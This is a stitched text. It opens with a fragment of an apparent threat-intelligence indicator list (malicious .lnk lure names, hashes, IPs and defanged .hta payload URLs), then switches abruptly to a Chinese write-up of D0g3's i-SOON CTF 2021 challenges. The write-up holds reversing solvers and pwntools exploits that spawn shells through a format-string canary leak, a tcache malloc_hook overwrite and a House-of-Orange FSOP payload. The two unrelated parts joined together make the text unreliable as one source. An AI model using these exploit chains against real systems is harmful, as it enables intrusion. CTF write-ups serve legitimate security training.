Employees and their Familes.pdf.lnk
e55688a62991e86707864e97006af162 Posting (AllTypes), Promotions, and Other
Record Wing Matters.pdf.lnk
e49c1608e52aa1d49067c12b21032176 Tele Directory RSBs ZSBs
e05468aaa0c436e953116989ccf9703b United_States_Project_for_Promise.pdf .lnk
c22e74462f1c79ef0bc2de0e09d7f28d [My-CV.docx
.lnk](https://www.virustotal.com/gui/search/name%3A%22My-CV.docx%20.lnk%22)
**IP:**
149[.]248[.]52[.]61
144[.]91[.]65[.]100
194[.[163[.[139[.]250
**URL:**
https[:]//ikiranastore.com/images/files/ist/doc/abc.hta
https[:]//ikiranastore.com/images/files/ist/doc/i.php
https[:[//ikiranastore.com/images/files/ist/doc/
https[:]//ikiranastore.com/images/files/ist/doc/Cir-Bfg-Int.docx
https[:]//ikiranastore.com/images/files/ist/doc/tingo7.rar
https[:]//iiieyehealth.com/fonts/times/files/Call-for-Proposal-DGSP-COAS-Chair-Excellance/css/
https[:]//iiieyehealth.com/fonts/times/files/Call-for-Proposal-DGSP-COAS-Chair-Excellance/css/pdf.ico
https[:]//iiieyehealth.com/fonts/times/files/Call-for-Proposal-DGSP-COAS-Chair-Excellance/css/css.hta
https[:]//iiieyehealth.com/fonts/times/files/Call-for-Proposal-DGSP-COAS-Chair-Excellance/css
https[:]//cfl.dropboxstatic.com/static/css/error.css
https[:[//londonkids.in/preschool/video/Emergency_Vaccination/css/
https[:[//cfl.dropboxstatic.com/static/images/illustration_catalog/409_unsupported-browser-illo.png
https[:[//minervacollege.co.in/fonts/plugins/mrt/Image-7563/css2
https[:[//minervacollege.co.in/fonts/plugins/mrt/Image-7563/css2/pic.ico
https[:[//londonkids.in/admin/plugins/ckeditor/skins/moono/images/hidpi/EngrCoprsMatters/css/
https[:[//selforder.in/wp-content/uploads/wp-commerce/04/05/hzk/xml/
https[:[//selforder.in/wp-content/uploads/wp-commerce/04/05/hzk/html/
https[:[//selforder.in/wp-content/uploads/wp-commerce/04/05/hzk/Tele-Directory(RSBs-ZSBs)/css/
https[:[//selforder.in/wp-content/uploads/wp-commerce/04/05/hzk/html/jquery.txt
https[:[//selforder.in/wp-content/uploads/wp-commerce/04/05/hzk/Tele-Directory(RSBs-ZSBs)/css/css.hta
https[:[//selforder.in/wp-content/uploads/wp-commerce/04/05/hzk/html
https[:]//selforder.in/wp-content/uploads/wp-commerce/04/05/hzk/xml/css.hta
http[:]//167.86.75.119/h_tt_p
https[:]//dadsasoa.in/font/js/images/files/United-States_Project_for_Promise/css/
https[:]//dadsasoa.in/font/js/images/files/My-CV/css
* * * | 社区文章 |
本文由 [@D0g3](https://www.d0g3.cn/about) 编写
i-SOON_CTF_2021 部分题目环境/源码后续将在Github开源
[项目地址](https://github.com/D0g3-Lab/)
# RE
## sign_in
考点：smc+花指令+数组内异或+W型的栅栏加密(比较难看)+魔改xxtea。
32位程序，无壳，打开发现是无法吃到食物的贪吃蛇游戏，ida打开，shift 12可以看到一些关键字符串，但是无法交叉引用。
定位到main函数，发现sub_40100F函数有花，点进去看看。
去花后，发现就是对0x401D10地址开始的后0x256个字节进行异或0x37解密。
所以两个方法，一是直接动调自解密，二是直接idapython还原静态分析，实际上动调会更好，确保堆栈平衡的情况下在0x401D10直接set
ip动调分析，下面也给一个idapython还原脚本。
import idc
st = 0x401D10
i = 0
while st <= 0x401D10+0x245:
value = ida_bytes.get_byte(st)
value ^= 55
ida_bytes.patch_byte(st, value)
st += 1
接下来分析0x401D10函数。
至于rand()%256的由来在这，也就是食物的判断，当食物等于rand()%256时才会进入输入flag的函数。
然后解题就先爆破256可能，得到food==77是正确的，然后进行W型栅栏解密，实际上看不懂也没关系，直接测试flag，得到变换顺序，只不过由于前面有个数组内异或，所以可能会造成多义性，所以动调时，跳过数组内异或就行。
enc=[0x00000061, 0x00000067, 0x0000006D, 0x00000073, 0x00000079, 0x00000035, 0x00000062, 0x00000066,
0x00000068, 0x0000006C, 0x0000006E, 0x00000072, 0x00000074, 0x00000078, 0x0000007A, 0x00000034,
0x00000036, 0x00000063, 0x00000065, 0x00000069, 0x0000006B, 0x0000006F, 0x00000071, 0x00000075,
0x00000077, 0x00000031, 0x00000033, 0x00000064, 0x0000006A, 0x00000070, 0x00000076, 0x00000032]
flag='abcdefghijklmnopqrstuvwxyz123456'
for i in flag:
print(enc.index(ord(i)),end=',')
#index=[0,6,17,27,18,7,1,8,19,28,20,9,2,10,21,29,22,11,3,12,23,30,24,13,4,14,25,31,26,15,5,16]
解题脚本。
unsigned int enc[32] = {
0xBF8ED8A5, 0xE115A9F9, 0xFCD3F08A, 0x8BBF8946, 0xC308B162, 0x2B19CF29, 0x7A770656, 0xA4BAE4BA,
0x4E3E8CE4, 0x01A7E1D9, 0x75E9CE04, 0x22B593B9, 0x497742B4, 0x24EB15F6, 0xF2C2FF0E, 0x47973039,
0xC801CA0D, 0x6A125861, 0x80320BE8, 0x0385BD47, 0x69F96DDD, 0xE56490D1, 0x2D3CAD4B, 0x2D4200BE,
0x89EF6979, 0x4A91885D, 0x019DEBC7, 0x3BF8FD96, 0x1BDD2557, 0xB8685FDD, 0x57226614, 0x9F585C28};
//abcdefghijklmnopqrstuvwxyz123456
#include<stdio.h>
#include<stdio.h>
#include<string.h>
#include<windows.h>
#include<time.h>
#include<conio.h>
void decrypt(unsigned int *code ,unsigned int *key ,unsigned int n)
{
unsigned int next,end,sum;
unsigned int rounds,e,delta=0x44336730+77;
int i;
rounds=6+52/n;
sum=rounds*delta;
next=code[0];//设置next为code的第一个
do
{
e=(sum>>2)&3;
for(i=n-1;i>0;i--)//解密最后一个到第二个
{
end=code[i-1];
code[i]-=(( (end>>5^next<<2) + (next>>3^end<<4) ) ^ ( (sum^next) + (key[(i&3)^e]^end) ));
next=code[i];
}
end=code[n-1];
code[0]-=(( (end>>5^next<<2) + (next>>3^end<<4) ) ^ ( (sum^next) +(key[i&3^e]^end) ));
next=code[0];
sum-=delta;
}while(--rounds);
}
int main()
{
unsigned int key[4]={ 'D','0','g','3'};
unsigned int n=32;
char flag[32];
int index[32]={0,6,17,27,18,7,1,8,19,28,20,9,2,10,21,29,22,11,3,12,23,30,24,13,4,14,25,31,26,15,5,16};
int i;
decrypt(enc,key,n);
for(i=0;i<32;i++)
{
flag[i]=enc[index[i]];
}
for(i=31;i>=0;i--)
{
flag[i]^=flag[(i+1)%32];
}
printf("%s",flag);
}
//Th4_1mp0rtant_th2n9_is_t0_le@rn!
## virus
考点：傀儡进程(pe映像切换)，双线程异或，12宫密码部分矩阵加密，sm4。
ida打开，发现先是读取了一个资源，然后进行异或解密，后面就是傀儡进程的代码了，所以实际上，我们需要分析的是这个资源文件。
两种方法提取文件，ida动调dump出来，resource hacker软件提取出来，然后解密，得到flag.exe。
#include<stdio.h>
#include<math.h>
int main(void){
FILE *p;
char v[0x3104d]={0};
int i;
p=fopen("LOCALIZATION.bin","rb");
fread(&v, 1, 0x3104d, p);
for(i=0;i<0x3104d;i++)
{
v[i]=v[i]^65;
}
FILE *p1 = fopen("flag.exe", "wb");
fwrite(&v, 1, 0x3104d, p1);
}
分析flag.exe
所以关键就是分析sm4的key是如何生成的，其实这个算法，是本人在一次ctf中遇到了一个12宫密码的题，当时觉得里面一个矩阵的变换比较有意思，然后就用代码实现了其中的一小部分。
视频：<https://www.bilibili.com/video/BV1Ra411F7tv/?spm_id_from=333.788.recommend_more_video.-1>里面7分钟左右的部分。
我看了各位师傅的wp后，发现很大一部分都是用的爆破，也在预期之类，因为4个字节确实可以爆破，但实际上这个算法的加密就是解密，可以实验一下，多循环几次，就可以得到我们输入的内容，最终可以得到初始key为'_shy'。
所以解题就比较简单了。得到sm4的key，然后用python库，或者直接网站解，或者直接，把密文反着弄，然后用exe中的sm4部分跑一下，都可解。
import sm4
key = sm4.SM4Key(bytes.fromhex("68677f4e555b4e777b65785b4c726f6f"))
s =key.decrypt(bytes.fromhex("5C89EEF56FC54492DBE3AE9CB54F4AF4E7A35E0FFC93FC766CFB29E0162FA567"))
x=[6,7]
for i in range(32):
print(chr(s[i]^x[i%2]),end="")
#Ho3_I_Exp3cTed_n0_pY_1n_the_Ctf!
## mazeeee
IDA打开后初步分析为迷宫问题，经过判断后为10 _15_ 5的三维迷宫,需要求出路径，操作规则如下：
> xyz坐标系
> ‘w’：x+=2
> ‘s’：x-=1
> ‘d’：y+=2
> ‘a’：y-=1
> ‘W’：z+=1
> 'S'：z-=1
简单写一个bfs或dfs即可得到路径，这里给出bfs脚本
#include <bits/stdc++.h>
using namespace std;
char mp[20][20][20];
bool vis[20][20][20];
int L, R, C;
int m_l[6] = {0, 0, 0, 0, 1, -1};
int m_r[6] = {+2, -1, 0, 0, 0, 0};
int m_c[6] = {0, 0, -1, +2, 0, 0};
char x[6]={'w','s','a','d','W','S'};
struct position
{
int l, r, c;
string s;
}start, End;
queue <position> q;
bool check(int l,int r,int c)
{
if(l >= 0 && l < L && r >= 0 && r < R && c >= 0 && c < C && mp[l][r][c] != '#' && vis[l][r][c] == 0)
return true;
return false;
}
void bfs()
{
while (!q.empty()) q.pop();
q.push(start);
vis[start.l][start.r][start.c] = 1;
while (!q.empty())
{
position now = q.front();
q.pop();
if (now.l == End.l && now.r == End.r && now.c == End.c)
{
cout<<now.s<<endl;
//exit(0);
}
position next;
for (int i = 0; i < 6; i++)
{
next.l = now.l + m_l[i];
next.r = now.r + m_r[i];
next.c = now.c + m_c[i];
next.s = now.s + x[i];
if (check(next.l, next.r, next.c))
{
q.push(next);
vis[next.l][next.r][next.c] = 1;
}
}
}
}
int main()
{
freopen("text2.in","r",stdin);
//freopen("text2.out","w",stdout);
L = 5; R = 10; C = 15;
for (int i = 0; i < L; i++)
for (int j = 0; j < R; j++)
for (int k = 0; k < C; k++)
{
cin >> mp[i][j][k];
vis[i][j][k] = 0;
if (mp[i][j][k] == 'S')
{
start.l = i;
start.r = j;
start.c = k;
}
if (mp[i][j][k] == 'E')
{
End.l = i;
End.r = j;
End.c = k;
}
}
bfs();
return 0;
}
//dWWwwdddWWaawwddsssSaw
得到路径为：dWWwwdddWWaawwddsssSaw
继续可以进行动态调试分析，可知需要将得到的路径的与已知数组进行异或才能得到flag（注意，已知数组的长度为路径长度的两倍，因此需要将路径进行循环异或），但是该数组并不能通过动态调试获取。只能通过查看该数组的交叉引用来获取。
一个关于位运算的解密，直接用脚本求解即可
for(int i = 0; i < 22; i++)
key[i] = (k[i] & 0x1F) | (k[(i + 1) % 22] & 0xE0);
得到key数组后直接异或解密得到flag
**********************W3lc0me_t0_The_Maze!!}
此题显然到这里还没有结束，我们通过得到的flag和IDA可以看出：
提示前面应该还有一段flag，此时查看Strings可以发现base64的字母表以及一串base64加密后的字符串
直接base64解密发现是乱码，因为base64的字母表在主函数中被修改过
简单的换位加密，得到修改后的base64字母表直接解密即可
**_D0g3{Y0u^Can=So1ve_it!W3lc0me_t0_The_Maze!!}_**
## localhost:2333
flag: d0g3{Go1aN9_vM_1S_VERY_e@$Y!!}
**题目描述**
看看2333端口
**题目制作过程**
题目使用golang编写，程序内部在本地2333端口开了一个服务，程序需要在浏览器访问localhost:2333才能进行输入，由于go语言本身可以恢复符号表，所以将虚拟机指令函数全部命名成`sub_x`，为了逆向难度，在编译程序时没有采用`//go:noinline`方式编译，所以反编译出来的代码会比较抽象
//寄存器结构
type register struct {
eax uint8
ebx uint8
ecx uint8
edx uint8
eip uint32
}
// 指令函数对应，每个函数后缀对应OPCODE
// push
func (reg *register) sub_0 () {}
// pop
func (reg *register) sub_1 (){}
// xor
func (reg *register) sub_2 (){}
// sub
func (reg *register) sub_3 (){}
// add
func (reg *register) sub_4() {}
// or
func (reg *register) sub_5 () {}
// shl
func (reg *register) sub_6() {}
// shr
func (reg *register) sub_7() {}
// mov
func (reg *register) sub_8() {}
// 寄存器选择函数，返回一个寄存器指针
func (reg *register)selectReg(optionReg uint8) (regPtr *uint8){
var retVal *uint8
switch optionReg {
case 1:
retVal = &((*reg).eax)
case 2:
retVal = &((*reg).ebx)
case 3:
retVal = &((*reg).ecx)
case 4:
retVal = &((*reg).edx)
}
return retVal
}
**exp**
cipher =[[155, 170, 203, 245, 138, 200, 161, 137, 224, 165],
[126, 16, 58, 13, 49, 117, 45, 126, 119, 100],
[74, 43, 235, 172, 8, 132, 43, 36, 36, 175]]
flag = ''
key_1 = 0xFF
key_2 = b'GOL@nD~!!!'
for i in range(len(cipher[0]) - 1, 0, -1):
cipher[0][i] = (cipher[0][i] + i) ^ cipher[0][i-1]
cipher[0][0] ^= 0xFF
flag += bytes(cipher[0]).decode()
for i in range(len(cipher[1])):
flag += chr(cipher[1][i] ^ key_2[i])
for i in cipher[2]:
flag += chr((i >> 5) | (i << 3) & 0xFF)
print(flag)
## crackme
该程序是由autojs编写而成 解压apk文件，在assests目录下存放了 main.js，其中main.js经过加密
**JS解密**
js采用了离线加密，jeb反编译该APK，加密逻辑存放在类
com/stardust/autojs/engine/encryption/ScriptEncryption;
逆向发现其使用了AES加密，其中key为变量m_key，iv为m_initVector
而m_key，在此处经过AES加密生成，加密的密钥为md5(packageName+versionName+mainScriptFile+VersionCode)
其中packageName等信息是从json文件中获取，由此得到加密key的密钥为
MD5(com.telegram.messenger1.0.0main.js1)=8605e55eaab55db47c24d7b5390336c1
加密密钥的IV为md5(buildID+name)[0:16]=md5(E668665F-8crackme)[0:16]=de4fcdd68dcdc81a
同时该IV也同样为JS加密的IV
而明文则为"seBmfdYSRu2ysWEl"
加密得到m_key
hex形式为66edb59ca4783d9f32234e78e33c3f8b3ea71208f25b50dc2923d58c1dd3b527
此处加密JS的key和iv都拿到了，查看加密的js文件，发现多了8个字节，前8个字节像加密js的文件格式 将其删除之后进行解密。得到js源码。
"ui";
ui.layout(
<frame>
<vertical h="auto" align="center" margin="0 50">
<text text="请è¾.å.¥flag" textColor="black" textSize="18sp"/>
<input id="flag" />
<button id ="ok" w="auto" h="auto" text="ç¡®å®." style="Widget.AppCompat.Button.Colored"/>
</vertical>
</frame>
);
ui.ok.on("click",()=>{
var result=[0x2e,0xde,0x94,0xc2,0x41,0x8f,0xe3,0xfa,0xfb,0x10,0x4f,0x96,0x64,0xbf,0x2d,0xe3,0x96,0xf1,0x6c,0xa1,0x6b,0xb6,0x9a,0x94,0xfb,0x70,0x3f,0x4b,0x4b,0x7e,0x35,0xc7,0x10,0x90,0x57,0xcb];
shell("chmod 777 /data/data/com.telegram.messenger/files/project/D0g3.jpeg",true);
shell("/data/data/com.telegram.messenger/files/project/D0g3.jpeg"+" "+ui.flag.text(),true);
if(files.isFile("/sdcard/1A.txt")){
var data=files.readBytes("/sdcard/1A.txt");
for(var i=0;i<data.length;i++){
if((data[i]&0xff)!=result[i]){
shell("rm -f /sdcard/1A.txt",true);
toast("wrong");
return 0;
}
}
toast("right");
shell("rm -f /sdcard/1A.txt",true);
}
else{
toast("wrong");
}
})
**elf解密**
发现核心逻辑为D0g3.jpeg的elf文件，elf文件经过upx加壳，但是对Upx格式进行了改动，需要对其进行修复，才能用工具脱壳，首先修复UPX的magic头，一共三个地方
在尾部同时还多出了后缀
“d0g3d0g3”将其删除，脱壳时发现p_info损坏继续修复p_info,p_info的file_size和block_size被抹除，不过幸运的是此处依然存在着p_filesize和p_blocksize
将其修复一下
最后依然报错ELfxx_Ehdr错误，是因为删除了压缩数据的ELF文件头继续还原一下
upx -d得到脱壳后的文件。
脱壳后的文件校验了flag格式后进行chacha20加密算法，其中常量expand 32-byte k被修改为d0g3d0g3d0g3，最后解密脚本如下
/*********************************************************************
* Copyright (c) 2016 Jonas Schnelli *
* Distributed under the MIT software license, see the accompanying *
* file COPYING or http://www.opensource.org/licenses/mit-license.php.*
**********************************************************************/
#include <assert.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
struct chacha_ctx {
uint32_t input[16];
};
/* $OpenBSD: chacha.c,v 1.1 2013/11/21 00:45:44 djm Exp $ */
typedef unsigned char u8;
typedef unsigned int u32;
typedef struct chacha_ctx chacha_ctx;
#define U8C(v) (v##U)
#define U32C(v) (v##U)
#define U8V(v) ((u8)(v)&U8C(0xFF))
#define U32V(v) ((u32)(v)&U32C(0xFFFFFFFF))
#define ROTL32(v, n) (U32V((v) << (n)) | ((v) >> (32 - (n))))
#define U8TO32_LITTLE(p) \
(((u32)((p)[0])) | ((u32)((p)[1]) << 8) | ((u32)((p)[2]) << 16) | \
((u32)((p)[3]) << 24))
#define U32TO8_LITTLE(p, v) \
do { \
(p)[0] = U8V((v)); \
(p)[1] = U8V((v) >> 8); \
(p)[2] = U8V((v) >> 16); \
(p)[3] = U8V((v) >> 24); \
} while (0)
#define ROTATE(v, c) (ROTL32(v, c))
#define XOR(v, w) ((v) ^ (w))
#define PLUS(v, w) (U32V((v) + (w)))
#define PLUSONE(v) (PLUS((v), 1))
#define QUARTERROUND(a, b, c, d) \
a = PLUS(a, b); \
d = ROTATE(XOR(d, a), 16); \
c = PLUS(c, d); \
b = ROTATE(XOR(b, c), 12); \
a = PLUS(a, b); \
d = ROTATE(XOR(d, a), 8); \
c = PLUS(c, d); \
b = ROTATE(XOR(b, c), 7);
static const char sigma[16] = "d0g3d0g3d0g3d0g3";
static const char tau[16] = "expand 16-byte k";
void chacha_keysetup(chacha_ctx *x, const u8 *k, u32 kbits) {
const char *constants;
x->input[4] = U8TO32_LITTLE(k + 0);
x->input[5] = U8TO32_LITTLE(k + 4);
x->input[6] = U8TO32_LITTLE(k + 8);
x->input[7] = U8TO32_LITTLE(k + 12);
if (kbits == 256) { /* recommended */
k += 16;
constants = sigma;
} else { /* kbits == 128 */
constants = tau;
}
x->input[8] = U8TO32_LITTLE(k + 0);
x->input[9] = U8TO32_LITTLE(k + 4);
x->input[10] = U8TO32_LITTLE(k + 8);
x->input[11] = U8TO32_LITTLE(k + 12);
x->input[0] = U8TO32_LITTLE(constants + 0);
x->input[1] = U8TO32_LITTLE(constants + 4);
x->input[2] = U8TO32_LITTLE(constants + 8);
x->input[3] = U8TO32_LITTLE(constants + 12);
}
void chacha_ivsetup(chacha_ctx *x, const u8 *iv, const u8 *counter) {
x->input[12] = counter == NULL ? 0 : U8TO32_LITTLE(counter + 0);
x->input[13] = counter == NULL ? 0 : U8TO32_LITTLE(counter + 4);
x->input[14] = U8TO32_LITTLE(iv + 0);
x->input[15] = U8TO32_LITTLE(iv + 4);
}
void chacha_encrypt_bytes(chacha_ctx *x, const u8 *m, u8 *c, u32 bytes) {
u32 x0, x1, x2, x3, x4, x5, x6, x7, x8, x9, x10, x11, x12, x13, x14, x15;
u32 j0, j1, j2, j3, j4, j5, j6, j7, j8, j9, j10, j11, j12, j13, j14, j15;
u8 *ctarget = NULL;
u8 tmp[64];
uint32_t i;
if (!bytes)
return;
j0 = x->input[0];
j1 = x->input[1];
j2 = x->input[2];
j3 = x->input[3];
j4 = x->input[4];
j5 = x->input[5];
j6 = x->input[6];
j7 = x->input[7];
j8 = x->input[8];
j9 = x->input[9];
j10 = x->input[10];
j11 = x->input[11];
j12 = x->input[12];
j13 = x->input[13];
j14 = x->input[14];
j15 = x->input[15];
for (;;) {
if (bytes < 64) {
if (m != NULL) {
for (i = 0; i < bytes; ++i) {
tmp[i] = m[i];
}
m = tmp;
}
ctarget = c;
c = tmp;
}
x0 = j0;
x1 = j1;
x2 = j2;
x3 = j3;
x4 = j4;
x5 = j5;
x6 = j6;
x7 = j7;
x8 = j8;
x9 = j9;
x10 = j10;
x11 = j11;
x12 = j12;
x13 = j13;
x14 = j14;
x15 = j15;
for (i = 20; i > 0; i -= 2) {
QUARTERROUND(x0, x4, x8, x12)
QUARTERROUND(x1, x5, x9, x13)
QUARTERROUND(x2, x6, x10, x14)
QUARTERROUND(x3, x7, x11, x15)
QUARTERROUND(x0, x5, x10, x15)
QUARTERROUND(x1, x6, x11, x12)
QUARTERROUND(x2, x7, x8, x13)
QUARTERROUND(x3, x4, x9, x14)
}
x0 = PLUS(x0, j0);
x1 = PLUS(x1, j1);
x2 = PLUS(x2, j2);
x3 = PLUS(x3, j3);
x4 = PLUS(x4, j4);
x5 = PLUS(x5, j5);
x6 = PLUS(x6, j6);
x7 = PLUS(x7, j7);
x8 = PLUS(x8, j8);
x9 = PLUS(x9, j9);
x10 = PLUS(x10, j10);
x11 = PLUS(x11, j11);
x12 = PLUS(x12, j12);
x13 = PLUS(x13, j13);
x14 = PLUS(x14, j14);
x15 = PLUS(x15, j15);
if (m != NULL) {
x0 = XOR(x0, U8TO32_LITTLE(m + 0));
x1 = XOR(x1, U8TO32_LITTLE(m + 4));
x2 = XOR(x2, U8TO32_LITTLE(m + 8));
x3 = XOR(x3, U8TO32_LITTLE(m + 12));
x4 = XOR(x4, U8TO32_LITTLE(m + 16));
x5 = XOR(x5, U8TO32_LITTLE(m + 20));
x6 = XOR(x6, U8TO32_LITTLE(m + 24));
x7 = XOR(x7, U8TO32_LITTLE(m + 28));
x8 = XOR(x8, U8TO32_LITTLE(m + 32));
x9 = XOR(x9, U8TO32_LITTLE(m + 36));
x10 = XOR(x10, U8TO32_LITTLE(m + 40));
x11 = XOR(x11, U8TO32_LITTLE(m + 44));
x12 = XOR(x12, U8TO32_LITTLE(m + 48));
x13 = XOR(x13, U8TO32_LITTLE(m + 52));
x14 = XOR(x14, U8TO32_LITTLE(m + 56));
x15 = XOR(x15, U8TO32_LITTLE(m + 60));
}
j12 = PLUSONE(j12);
if (!j12) {
j13 = PLUSONE(j13);
/* stopping at 2^70 bytes per nonce is user's responsibility */
}
U32TO8_LITTLE(c + 0, x0);
U32TO8_LITTLE(c + 4, x1);
U32TO8_LITTLE(c + 8, x2);
U32TO8_LITTLE(c + 12, x3);
U32TO8_LITTLE(c + 16, x4);
U32TO8_LITTLE(c + 20, x5);
U32TO8_LITTLE(c + 24, x6);
U32TO8_LITTLE(c + 28, x7);
U32TO8_LITTLE(c + 32, x8);
U32TO8_LITTLE(c + 36, x9);
U32TO8_LITTLE(c + 40, x10);
U32TO8_LITTLE(c + 44, x11);
U32TO8_LITTLE(c + 48, x12);
U32TO8_LITTLE(c + 52, x13);
U32TO8_LITTLE(c + 56, x14);
U32TO8_LITTLE(c + 60, x15);
if (bytes <= 64) {
if (bytes < 64) {
for (i = 0; i < bytes; ++i)
ctarget[i] = c[i];
}
x->input[12] = j12;
x->input[13] = j13;
return;
}
bytes -= 64;
c += 64;
if (m != NULL) {
m += 64;
}
}
}
int main(void)
{
struct chacha_ctx ctx;
uint8_t iv[8] = {0,};
unsigned int i = 0;
uint8_t result[36]= {0x2e,0xde,0x94,0xc2,0x41,0x8f,0xe3,0xfa,0xfb,0x10,0x4f,0x96,0x64,0xbf,0x2d,0xe3,0x96,0xf1,0x6c,0xa1,0x6b,0xb6,0x9a,0x94,0xfb,0x70,0x3f,0x4b,0x4b,0x7e,0x35,0xc7,0x10,0x90,0x57,0xcb};
unsigned char* flag=(unsigned char*)malloc(0x40);
memcpy(flag,result,36);
const uint8_t key[32]={ 0x99, 0x17, 0x09, 0x3F, 0xB7, 0xFB, 0xD9, 0x7A, 0x79, 0x96, 0x90, 0xA6, 0xB4, 0xCF, 0xE1, 0xAF,
0x52, 0x4A, 0x38, 0x9B, 0xF0, 0xCC, 0x59, 0x9C, 0xC9, 0x73, 0xF5, 0x34, 0xB1, 0x7D, 0xDE,0x96};
chacha_ivsetup(&ctx, iv, NULL);
chacha_keysetup(&ctx, key,256);
chacha_encrypt_bytes(&ctx, flag, flag, 36);
printf("%s",flag);
}
**crackme参考链接**
[https://blog.csdn.net/A622828/article/details/106414664?spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.highlightwordscore&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.highlightwordscore](https://blog.csdn.net/A622828/article/details/106414664?spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.highlightwordscore&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.highlightwordscore)
<https://github.com/jonasschnelli/chacha20poly1305>
<https://cujo.com/upx-anti-unpacking-techniques-in-iot-malware/>
# PWN
## stack
**思路**
一道格式化字符串漏洞，查看保护可以发现 开启了PIE和 canary
通过ida可以发现后门函数 及其所需的参数。
观察程序，可以发现能够利用格式化字符串漏洞泄露地址信息和canary从而绕过其防护
再次利用格式化字符串漏洞覆盖canary和ret ，使其可以执行system("/bin/sh")
**Exp**
#! /usr/bin/python3
from pwn import*
#io = remote("101.35.18.209",20113)
io = remote("47.108.195.119",20113)
#io = process('./ezstack')
context.log_level = 'debug'
#-------------------------------- io.recvuntil("名称:")
io.sendline("")
io.recvuntil("名字:")
io.sendline("")
#--------------------------------
sh = 0xB24
system = 0xA7C
pop_rdi = 0x000b03
ret = 0x00000000000007c1
#gdb.attach(io)
io.sendline(b'%12$p%11$p')
stack = io.recv(14)
stack = int(stack,16)
stack = stack & 0xfffffffffffff000
print("stack---->"+hex(stack))
canary = io.recvuntil('\n')[-17:]
canary = int(canary,16)
#gdb.attach(io)
print("canary--->"+hex(canary))
sh = stack + 0xB24
system = stack + 0xA8C
pop_rdi = stack + 0x000b03
ret = stack + 0x00007c1
print("sh",hex(sh))
print("system",hex(system))
print("pop_rdi",hex(pop_rdi))
print("ret",hex(ret))
io.recvuntil("--+--")
#gdb.attach(io)
io.sendline(b'a'*0x18 + p64(canary) + p64(0) + p64(pop_rdi) + p64(sh) + p64(system))
io.interactive()
## noleak
通过观察可以发现有一个栅栏加密。并且存在offbynull漏洞
1.通过栅栏加密利用char为1byte，unsigned int为4byte的特性，加了个一个简单的栅栏加密字符串，解密只需将unsigned
int类型的enc密文先转为单字节的char类型，然后进行栅栏为4的栅栏解密。
2.利用溢出漏洞修改size，将其free后再次malloc可以通过show泄露其地址。
3.利用tcache的特点，可以通过tcache_attack进行攻击，向malloc_hook中写入one_gadget.
4.再次调用malloc即可getshell
解密算法
#-------------------------------------- a=[0x5f5f794e,0x63745f30,0x7448315f,0x37656e70]
b=[]
for i in range(4):
tmp=a[i]
for j in range(4):
b.append(chr(tmp&0xff))
tmp=tmp>>8
flag=''
for i in range(4):
for j in range(4):
flag+=b[i+4*j]
print(flag)
#N0_py_1n_tHe_ct7
#---------------------------------------
**Exp**
#! /usr/bin/python3
from pwn import *
from LibcSearcher import *
#sh=remote("47.108.195.119",20182)
sh=remote("101.35.18.209",20112)
context.log_level = 'debug'
libc=ELF('./libc.so.6')
elf = ELF('./noleak')
#sh=process('./noleak')
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
context.log_level='debug'
def choice(elect):
sh.recvuntil('4) delete a chunk\n')
sh.sendline(str(elect))
def add(index,size):
choice(1)
sh.recvuntil('?')
sh.sendline(str(index))
sh.recvuntil('?')
sh.sendline(str(size))
def edit(index,content,full=False):
choice(3)
sh.recvuntil('?')
sh.sendline(str(index))
sh.recvuntil(':')
if full:
sh.send(content)
else:
sh.sendline(content)
def show(index):
choice(2)
sh.recvuntil('?')
sh.sendline(str(index))
def delete(index):
choice(4)
sh.recvuntil('?')
sh.sendline(str(index))
def exploit():
li('exploit...')
#-------------------------------- # sh.recvuntil("名称:")
# sh.sendline("")
# sh.recvuntil("名字:")
# sh.sendline("")
#--------------------------------
sh.sendlineafter("start !\n","N0_py_1n_tHe_ct7")
add(0,0x80) #A
add(1,0x18) #B
add(2,0xf0) #C
for i in range(7):
add(i+3,0x80)
for i in range(7):
delete(i+3)
add(i+3,0xf0)
for i in range(7):
delete(i+3)
delete(0)
#gdb.attach(sh)
edit(1,b'\x00'*0x10+p64(0xb0),full=True)
delete(2)
#gdb.attach(sh)
for i in range(8):
add(3,0x80)
show(1)
sh.recvuntil('\n',drop=True)
libc_base=u64(sh.recvuntil('\n',drop=True).replace(b'\n',b'').ljust(8,b'\x00')) - 0x70 - libc.sym['__malloc_hook']
malloc_hook=libc_base+libc.symbols['__malloc_hook']
realloc=libc_base+libc.symbols['realloc']
gadget=[0x41602,0x41656,0xdeec2]
onegadget=libc_base+gadget[2]
print(libc_base)
print(malloc_hook)
print(onegadget)
#gdb.attach(sh)
add(2,0x10)
delete(2)
edit(1,p64(malloc_hook-0x8) )
add(3,0x10)
add(4,0x18)
edit(4,p64(onegadget)+p64(onegadget))
#gdb.attach(sh)
add(1,0x10)
sh.interactive()
if __name__ == '__main__':
exploit()
finish()
## ezheap
观察代码 可以发现没有 可以free堆块的函数 ，
于是考虑可以使用houseOforange可以利用堆溢出修改下一chunk的size,从而是堆块分配值unsortbin，然后利用uaf漏洞进行泄露
完成泄露后可以使用FSOP，通过伪造的 vtable 和_IO_FILE_plus,从而通过报错来劫持程序流
1.首先通过gift函数接收地址。在通过溢出修改size，从而使得topchunk的size为0xf81 。 这里需要自行调试使得该chunk对齐
2.再次malloc一个大堆块，使得topchunk进入unsortbin,再次切割该堆块，通过show函数泄露地址。
3.伪造vtable 和_IO_FILE_plus
fake_file = b'/bin/sh\x00'+p64(0x61)
fake_file += p64(0)+p64(io_list_all-0x10)
fake_file += p64(0) + p64(1)
fake_file = fake_file.ljust(0xc0,b'\x00')
fake_file += p64(0) * 3
fake_file += p64(heap+0x1198) #vtable ptr
fake_file += p64(0) * 2
fake_file += p64(system)
payload += fake_file
